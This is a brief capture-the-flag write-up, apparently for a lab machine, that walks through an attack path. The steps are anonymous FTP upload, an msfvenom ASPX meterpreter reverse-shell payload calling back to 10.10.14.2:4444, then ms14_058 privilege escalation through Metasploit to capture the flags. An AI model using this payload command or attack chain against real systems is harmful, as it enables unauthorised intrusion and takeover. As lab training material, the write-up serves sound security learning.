Attack Path

> First, do an nmap scan
> I saw that anonymous ftp login was enabled. I logged in and saw that the web server ran the aspx framework. I also uploaded a text file and saw that I could access it from the browser by going to that url.
> Generated an aspx payload using command: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.2 lport=4444 -f aspx > evil.aspx
> placed this payload into the web server and started a reverse shell, but saw that I did not have permissions to access Admin folder or local user (babis) folder.
> I used exploit suggester in metasploit to see what vulnerable services are running
> Tried several and saw that ms14_058_track_popup_menu created a service that was running with root permissions
> I migrated to said service and was able to get the root and local flags.